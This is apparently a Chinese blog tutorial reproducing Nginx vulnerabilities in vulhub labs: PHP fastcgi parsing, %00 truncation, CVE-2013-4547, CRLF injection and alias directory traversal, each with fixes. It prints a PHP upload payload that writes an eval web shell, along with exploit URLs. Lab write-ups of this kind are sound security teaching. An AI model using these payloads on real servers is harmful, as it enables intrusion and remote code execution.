Nginx中间件漏洞复现

news2024/12/28 22:45:42

Nginx 解析漏洞

该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞。

漏洞原理:

该解析漏洞是PHP fastcgi 的漏洞,在PHP的配置文件 php.ini 中有一个关键的选项 cgi.fix_pathinfo 默认值为1,表示开启。同时在 php-fpm/www-2.conf 配置文件中的 security.limit_extensions 选项限制了 fastcgi 要解析的文件类型(如果该选项未开启,默认只解析.php)

当URL中有不存在的文件,PHP就会向前递归解析,当遇到文件路径 /test.png/x.php 时,若 x.php 不存在则会向前解析,判断 /test.png 是否存在,若存在,则把 /test.png 解析为 text.php,若不存在则继续向前解析。若是关闭该选项,访问 /test.jpg/x.php 只会返回找不到文件。

环境搭建:

靶场路径:

vulhub/nginx/nginx_parsing_vulnerability

启动容器

docker-compose up -d

在这里插入图片描述

复现过程:

直接访问
在这里插入图片描述
访问靶场的 /uploadfiles/nginx.png 目录
在这里插入图片描述
是一个正常的图片,在后面随便加一个 .php ,或者不加文件名也可以
在这里插入图片描述
可以看到图片被解析了,所以我们现在要做的就是上传一个图片马到这个网站上,然后在上传的图片马路径后面添加 /.php 来执行该文件,从而生成一个 shell.php。

回到靶场的上传页面,随便上传一张图片,抓包,在后面加上下面代码

<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["111"])?>');?>

在这里插入图片描述
成功上传
在这里插入图片描述
接着访问目录
在这里插入图片描述
进容器看一下,成功生成了
在这里插入图片描述
蚁剑连接成功。
在这里插入图片描述

漏洞修复:

1、将php.ini文件中的cgi.fix_pathinfo的值设置为0
2、php-fpm/www-2.conf中的security.limit_extensions后面的值设置为.php
在这里插入图片描述

Nginx %00截断解析漏洞:

影响版本:

Nginx 0.5、0.6 、0.7 ~ 0.7.65、0.8 ~ 0.8.37

漏洞原理:

在fastcgi关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞,在一个文件路径 /xx.jpg 后面加上 %00.php 会将 /xx.jpg%00.php 解析为xx.php文件。它的原理是在URL中加 %00 会被URL编码成 \0 ,在C语言中 \0 即为终止符,而Nginx是由C语言编写的,所以在读取时会认为文件名已经结束,从而绕过检测。

Nginx 文件名逻辑漏洞(CVE-2013-4547)

2013年底,nginx再次爆出解析漏洞(CVE-2013-4547),此漏洞可导致目录跨越及代码执行,影响范围较广。

影响版本:

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞原理:

这个漏洞其实和代码执行没有太大关系,主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

举个例子,比如,Nginx匹配到.php结尾的请求,就发送给 fastcgi 进行解析,常见的写法如下:

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

正常情况下,只有.php后缀的文件才会被发送给 fastcgi 解析。

而存在 CVE-2013-4547 的情况下,请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx在查找文件的时候被 \0 截断,认为请求的文件是1.gif[0x20],就设置其为 SCRIPT_FILENAME 的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。

注:[0x20]即16进制的20,代表空格;[0x00]即16进制的00,代表\0。

\0 的作用大家应该知道,那为什么要加空格呢?正常情况下nginx遇到 \0 会判断为非法字符报错,但在检查到URI中有空格则会进入到sw_check_uri_http_09的逻辑中,则不会报错。详细可以看这篇文章:文章链接

关于目录跨越的原理与此类似,举例:比如很多网站限制了允许访问后台的IP:

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI:/test[0x20]/../admin/index.php,这个URI不会匹配上 location 后面的 /admin/,也就绕过了其中的IP验证;最后请求的是 /admin/index.php,成功访问到后台。(前提是需要有一个目录叫 test,这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

环境搭建:

靶场路径:

vulhub/nginx/CVE-2013-4547

启动容器

docker-compose up -d

在这里插入图片描述

复现过程:

访问环境
在这里插入图片描述
这里存在限制只能上传图片,我们上传一个php探针的jpg文件,抓包添加空格
在这里插入图片描述
在这里插入图片描述
访问:http://192.168.50.131:8080/uploadfiles/1.jpg.php 抓包,添加两个空格,然后修改16进制值。
在这里插入图片描述
第二个20改为00,
在这里插入图片描述
成功解析
在这里插入图片描述
同样的可以利用前面提到的,生成 shell.php 然后菜刀连接。

Nginx 配置错误导致漏洞

环境搭建:

靶场路径:

vulhub/nginx/insecure-configuration

启动容器

docker-compose up -d

在这里插入图片描述

运行成功后,Nginx将会监听8080/8081/8082三个端口,分别对应三种漏洞。这里先复现前两个。

1、CRLF注入漏洞

CRLF是 “回车+换行”的简称(url编码为%0d%0a)。在HTTP协议中,HTTP Header 与 HTTP Body 是用两个CRLF分隔的,浏览器是根据两个CRLF(即 %0a%0d%0a%0d)来取出HTTP内容并显示出来。 所以,一旦能够控制HTTP消息头中的字符,通过注入一些恶意的换行,就能实现注入会话Cookie。

理论上,只要是可以设置HTTP头的场景都会出现这个问题。

示例,如果运维配置了下列的代码:

location / {
    return 302 https://$host$uri;
}

原本的目的是为了让http的请求跳转到https上,但Nginx会将 $uri 进行解码,导致传入%0d%0a即可引入换行符,造成CRLF注入漏洞。

Payload: http://your-ip:8080/%0d%0aSet-Cookie: a=1,可注入Set-Cookie头。
在这里插入图片描述
可以看到cookie设置成功了。(这里不太懂为什么%0d%0a只需要一个就可以)

漏洞修复

正确的做法应该是如下:

location / {
    return 302 https://$host$request_uri; //$request_uri不解码
}

2、目录穿越漏洞

假设静态文件存储在 /home/ 目录下,而该目录在url中名字为files,那么就需要用alias设置目录的别名:

location /files {
    alias /home/;
}

此时,访问 http://example.com/files/readme.txt,就可以获取/home/readme.txt文件。

但我们注意到,url上 /files 没有加后缀 /,而alias设置的 /home/ 是有后缀/的,这个 / 就导致我们可以从 /home/ 目录穿越到他的上层目录。

Payload: http://your-ip:8081/files…/ ,成功穿越到上层目录。
在这里插入图片描述
进而我们获得了一个任意文件下载漏洞。

如何解决这个漏洞?只需要保证location和alias的值都有后缀/或都没有这个后缀。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/454919.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ASO优化之如何回复Google Play评论

应用的平均评分会影响 Google Play 商店优化 和应用的 Google Play 排名。应用的评分越高&#xff0c;我们在搜索结果中的排名就越靠前。因此&#xff0c;当应用处于 4 星评级范围内时&#xff0c;它会被更多 Google Play 商店的访问者看到和发现。我们可以使用应用雷达中的评级…

Linux进程通信:有名管道

有名管道&#xff1a; 无名管道只能用于有亲缘关系的进程间通信。 因此提出有名管道&#xff08;也叫FIFO文件&#xff09;&#xff0c;以实现无亲缘关系进程间的通信。 不同于无名管道&#xff0c;有名管道FIFO文件的形式存在于文件系统&#xff0c;与一个路径名关联&#xff…

【复杂网络建模】——Python可视化重要节点识别(PageRank算法)

目录 一、复杂网络建模 二、建模的算法 三、使用PageRank算法进行网络重要节点识别 1、PageRank算法 2、基于PageRank算法的ER网络重要节点识别 3、基于PageRank算法的小世界网络重要节点识别 4、基于PageRank算法的无标度网络的重要节点识别 四、ER网络、小世界网络、…

春秋云境:CVE-2022-24663(远程代码执行漏洞exp)

目录 一、题目 二、构造exp执行php 三、蚁剑连接 一、题目 介绍&#xff1a; 远程代码执行漏洞&#xff0c;任何订阅者都可以利用该漏洞发送带有“短代码”参数设置为 PHP Everywhere 的请求&#xff0c;并在站点上执行任意 PHP 代码。P.S. 存在常见用户名低权限用户弱口令 …

华为OD机试真题(Java),开元音统计(100%通过+复盘思路)

一、题目描述 相对开音节构成的结构为辅音元音(aeiou)辅音(r除外)e&#xff0c;常见的单词有bike cake&#xff0c;给定一个字符串&#xff0c;以空格为分隔符。 反转每个单词的字母&#xff0c;若单词中包含如数字等其他非字母时不进行反转&#xff0c;反转后计算其中含有相对…

苹果手机屏幕上的圆点怎么设置?(开启悬浮按钮)

案例&#xff1a;苹果手机屏幕上的圆点怎么设置&#xff1f; 【求助&#xff01;苹果手机的小圆点怎么调出来&#xff1f;就是悬浮按钮那个。】 如果您是苹果手机的用户&#xff0c;您可能会在手机屏幕上看到一个小圆点&#xff0c;它可以让您方便地进行操作。这个圆点是 Assi…

TortoiseSVN使用-合并深度介绍

文章目录 3.6 合并深度介绍 本人其他相关文章链接 3.6 合并深度介绍 Working copy(工作副本)&#xff1a;即你当前的工作目录&#xff0c;一般默认为这个选项&#xff1b;Recursively(递归)&#xff1a;即你选择的目录的版本库&#xff0c;包括了其下面的子文件&#xff0c;子文…

叶黄素的17种功效与副作用(5点使用禁忌请小心)

叶黄素&#xff08;Lutein&#xff09;及其同分异构体玉米黄质&#xff08;zeaxanthin&#xff09;和内消旋玉米黄质&#xff08;meso-zeaxanthin&#xff09;是一种聚集在人类视网膜中的黄斑色素。 它们不能在哺乳动物体内合成&#xff0c;必须从饮食中获得&#xff0c;然后分…

智能家居工厂模式整体设计框架控制设备测试

通俗理解的步骤就是链表通用模板定义&#xff08;在头文件里定义&#xff09;、链表的创建&#xff08;头插尾插&#xff0c;在.C 文件里&#xff09;、链表的初始化&#xff08;init配置管脚初始电平等&#xff09;、链表内容的读取&#xff08;指令工厂TCP服务端读取客户端发…

【芝士总结】史上最详循环结构讲解(蒟蒻也能学会)

虽然计算机可以在短时间批量处理成千上万条指令&#xff0c;但是不少问题中有许多规律性的重复操作&#xff0c;比如说计算几百个学生的平均分&#xff0c;或者对上万人的名单进行排序。仅使用顺序或者分支结构&#xff0c;对每一步操作都写出对应的语句是不可能的&#xff1b;…

如何用链表实现LRU缓存淘汰算法

链表学习 一、 缓存1.1缓存介绍1.2 缓存策略 二、链表结构2.1 单链表2.2 循环链表2.3 双向链表2.4 双向循环链表2.5 链表与数组性能对比 三、如何基于链表实现LRU缓存淘汰算法 一、 缓存 1.1缓存介绍 缓存是一种提高数据读取性能的技术&#xff0c;在硬件设计、软件开发中都有…

参数与非参数检验:理解差异并正确使用

数据科学是一个快速发展的领域&#xff0c;它在很大程度上依赖于统计技术来分析和理解复杂的数据集。这个过程的一个关键部分是假设检验&#xff0c;它有助于确定从样本中获得的结果是否可以推广到总体。 在这篇文章中&#xff0c;我们将探讨参数与非参数检验之间的区别&#…

微信小程序对接在线客服系统,对接小程序订阅消息模板,小程序订阅方法以及后端发送订阅模板消息的方法...

微信小程序想要对接独立在线客服系统&#xff0c;除了使用小程序消息推送接口外&#xff0c;还可以使用webview嵌入的形式嵌入聊天链接。 但是&#xff0c;使用webview嵌入的形式&#xff0c;当用户离开页面以后&#xff0c;就收不到客服回复的消息了 所以&#xff0c;我们需要…

HTML5 <s> 标签、HTML5 <sub> 和 <sup> 标签

HTML5 <s> 标签 定义和用法 <s> 标签定义加删除线的文本。HTML 5 中不再支持这个标签。请使用 CSS 代替。 HTML 4.01 与 HTML 5 之间的差异 在 HTML 4.01 中不赞成使用 <s> 标签。 在 HTML 5 中不支持 <s> 标签。 提示和注释 提示&#xff1a;请…

Oracle Linux 9 上基于 Docker 安装 Kubernetes 1.27 集群

Oracle Linux 9 上基于 Docker 安装 Kubernetes 1.27 集群 1. 禁用swap2. 禁用防火墙3. 将SELinux设置为permissive模式4. 添加网桥过滤及内核转发配置文件5. 加载 overlay、br_netfilter、ip_tables、iptable_filter 模块6. 安装 docker-ce7. 安装kubelet kubeadm kubectl8. 初…

【Java面试八股文】JVM篇

引言&#xff1a; 本文对多个平台的面试题进行了汇总、分类、概括、整理&#xff0c;对重点进行了标出&#xff0c;更便于阅读和记忆。 【黑马Java笔记踩坑汇总】JavaSEJavaWebSSMSpringBoot瑞吉外卖SpringCloud黑马旅游谷粒商城学成在线牛客面试题 目录 说说你了解的JVM内存模…

UE5实现建筑剖切效果

文章目录 1.实现目标2.实现过程2.1 材质参数集2.2 材质遮罩函数2.3 更新Box3.参考资料1.实现目标 基于BoxMask材质节点,在UE5中实现建筑物的剖切效果,GIF动图如下: 2.实现过程 实现原理与之前“BoxMask实现建筑生长效果”的原理相同,都是基于BoxMask材质节点实现。 具体实…

二分查找<万字详解>

目录 问题引入 二分查找的思路 二分查找的实现 左闭右闭写法 左闭右开写法 两种写法的对比 例题强化 常规的二分查找题目 猜数字大小 搜索插入位置 常规二分的变形题目 搜索二维矩阵 搜索二维矩阵 II 查找特定位置/特定数 在排序数组中查找元素的第一个和最后一…

DIN11系列 大电流输出信号隔离模块线性驱动器0~100mA/0~500mA/0~2A/0-4A

主要特性 精度、线性度误差等级&#xff1a; 0.1、0.2、0.5 级4-20mA/0-5V/0-10V 等标准信号输入0~100mA/0~500mA/0~1A/0-5A 等电流信号输出0~1V(max 5A)/0~10V/0-24V(max 5A) 等电压信号输出信号输入/信号输出 3000VDC 隔离辅助电源&#xff1a;12V、15V 或 24V 直流单电源供…

IJKPLAYER源码分析-音视频同步

前言 本文来介绍下IJKPLAYER的音视频同步策略及方法。IJKPLAYER所支持的同步策略&#xff0c;源自FFPLAY&#xff0c;因此有以下3种&#xff1a; 音视同步视频&#xff1a;这是缺省的同步策略&#xff0c;以audio为主时钟-参考时钟&#xff0c;采取video同步audio的方式&#x…